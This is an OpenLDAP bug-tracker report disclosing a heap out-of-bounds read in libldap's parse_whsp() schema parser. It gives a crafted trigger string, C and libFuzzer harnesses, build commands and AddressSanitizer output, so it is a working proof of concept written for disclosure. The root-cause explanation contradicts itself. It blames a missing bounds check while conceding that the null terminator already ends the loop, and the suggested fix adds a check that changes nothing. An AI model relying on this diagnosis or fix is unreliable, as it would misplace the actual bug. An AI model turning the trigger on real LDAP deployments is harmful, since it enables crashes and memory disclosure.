https://bugs.openldap.org/show_bug.cgi?id=10430
Issue ID: 10430 Summary: Heap Buffer Overflow in parse_whsp causes Out-of-Bounds Read Product: OpenLDAP Version: unspecified Hardware: x86_64 OS: Linux Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs@openldap.org Reporter: zesheng@tamu.edu Target Milestone: ---
## Summary
A heap buffer overflow vulnerability in OpenLDAP's `parse_whsp()` function allows an attacker to trigger out-of-bounds memory reads when parsing malformed LDAP schema definitions, potentially leading to information disclosure or crashes.
## Root Cause
The vulnerability exists in `libraries/libldap/schema.c` at line 1090. The `parse_whsp()` function iterates through a string checking for whitespace characters using `LDAP_SPACE()` macro, but does not verify that the pointer stays within the allocated buffer bounds. When parsing malformed schema strings that end unexpectedly, the function reads beyond the heap buffer.
### Vulnerable Code (schema.c:1086-1092) ```c /* Gobble optional whitespace */ static void parse_whsp(const char **sp) { while (LDAP_SPACE(**sp)) // BUG: no bounds check, can read past buffer (*sp)++; } ```
### LDAP_SPACE Macro (ldap_pvt.h:255) ```c #define LDAP_SPACE(c) ((c) == ' ' || (c) == '\t' || (c) == '\n') ```
The macro checks for space/tab/newline but does NOT check for null terminator. If the heap memory immediately after the allocated buffer happens to contain whitespace bytes (0x20, 0x09, 0x0a), the function continues reading out of bounds.
## PoC
### Trigger file
A crafted schema string (`poc`, 49 bytes) that triggers the overflow:
``` (13.5 NAME 'caseExactMatch' SYNTAX 'nooideithe1r. ```
``` hexdump -C poc: 00000000 28 31 33 2e 35 20 4e 41 4d 45 20 27 63 61 73 65 |(13.5 NAME 'case| 00000010 45 78 61 63 74 4d 61 74 63 68 27 20 53 59 4e 54 |ExactMatch' SYNT| 00000020 41 58 20 27 6e 6f 6f 69 64 65 69 74 68 65 31 72 |AX 'nooideithe1r| 00000030 2e |.| ```
### How to generate poc
```python # generate_poc.py data = b"(13.5 NAME 'caseExactMatch' SYNTAX 'nooideithe1r." with open("poc", "wb") as f: f.write(data) ```
---
## Trigger Method 1: Direct API Call
```c // test_schema.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ldap.h> #include <ldap_schema.h>
int main(int argc, char **argv) { FILE *f = fopen("poc", "rb"); fseek(f, 0, SEEK_END); long size = ftell(f); fseek(f, 0, SEEK_SET);
char *input = malloc(size + 1); fread(input, 1, size, f); input[size] = '\0'; fclose(f);
int code = 0; const char *errp = NULL;
// This triggers the vulnerability LDAPAttributeType *at = ldap_str2attributetype(input, &code, &errp, LDAP_SCHEMA_ALLOW_ALL); if (at) { ldap_attributetype_free(at); }
free(input); return 0; } ```
**Build and run:** ```bash # Build OpenLDAP with AddressSanitizer cd openldap ./configure CC=clang CFLAGS="-fsanitize=address -g" --without-tls make
# Compile and run test clang -fsanitize=address -g -I include \ -L libraries/libldap/.libs -L libraries/liblber/.libs \ test_schema.c -o test_schema -lldap -llber \ -Wl,-rpath,libraries/libldap/.libs:libraries/liblber/.libs
./test_schema ```
**Output:** ``` ==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x506000000052 at pc 0x... bp 0x... sp 0x... READ of size 1 at 0x506000000052 thread T0 #0 0x... in parse_whsp libraries/libldap/schema.c:1090:9 #1 0x... in ldap_str2attributetype libraries/libldap/schema.c:2313:5
0x506000000052 is located 0 bytes after 50-byte region [0x506000000020,0x506000000052) allocated by thread T0 here: #0 0x... in malloc #1 0x... in main test_schema.c:...
SUMMARY: AddressSanitizer: heap-buffer-overflow schema.c:1090:9 in parse_whsp ```
---
## Trigger Method 2: Fuzzer
```c // fuzz_schema.c #include <stdint.h> #include <stddef.h> #include <stdlib.h> #include <string.h> #include <ldap.h> #include <ldap_schema.h>
static const unsigned int flags[] = { LDAP_SCHEMA_ALLOW_NONE, LDAP_SCHEMA_ALLOW_NO_OID, LDAP_SCHEMA_ALLOW_QUOTED, LDAP_SCHEMA_ALLOW_DESCR, LDAP_SCHEMA_ALLOW_ALL, };
#define NUM_FLAGS (sizeof(flags) / sizeof(flags[0]))
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { if (size == 0 || size > 16384) return 0;
char *input = (char *)malloc(size + 1); if (!input) return 0; memcpy(input, data, size); input[size] = '\0';
int code = 0; const char *errp = NULL;
// Test ldap_str2attributetype with different flags for (size_t i = 0; i < NUM_FLAGS; i++) { code = 0; errp = NULL; LDAPAttributeType *at = ldap_str2attributetype(input, &code, &errp, flags[i]); if (at) { ldap_attributetype_free(at); } }
// Test ldap_str2objectclass for (size_t i = 0; i < NUM_FLAGS; i++) { code = 0; errp = NULL; LDAPObjectClass *oc = ldap_str2objectclass(input, &code, &errp, flags[i]); if (oc) { ldap_objectclass_free(oc); } }
free(input); return 0; } ```
**Build and run:** ```bash clang -fsanitize=fuzzer,address -g -I include \ -L libraries/libldap/.libs -L libraries/liblber/.libs \ fuzz_schema.c -o fuzz_schema -lldap -llber \ -Wl,-rpath,libraries/libldap/.libs:libraries/liblber/.libs
mkdir corpus && cp poc corpus/ ./fuzz_schema corpus/ ```
---
## Impact
| Aspect | Details | |--------|---------| | **Type** | Out-of-Bounds Read / Information Disclosure | | **Severity** | High | | **Attack Vector** | Malicious schema definition string | | **Affected Components** | `parse_whsp()`, `ldap_str2attributetype()`, `ldap_str2objectclass()`, libldap | | **Affected Applications** | Any application using libldap to parse LDAP schema definitions | | **CWE** | CWE-125 (Out-of-bounds Read) |
---
## Suggested Fix
Add bounds checking in `parse_whsp()` to ensure it doesn't read past the null terminator:
```c static void parse_whsp(const char **sp) { while (**sp && LDAP_SPACE(**sp)) // Add null check (*sp)++; } ```
Note: `LDAP_SPACE('\0')` is false (0x00 is not space/tab/newline), so the issue only occurs when adjacent heap memory contains whitespace bytes. However, adding an explicit null check makes the code more robust and clearly documents the termination condition.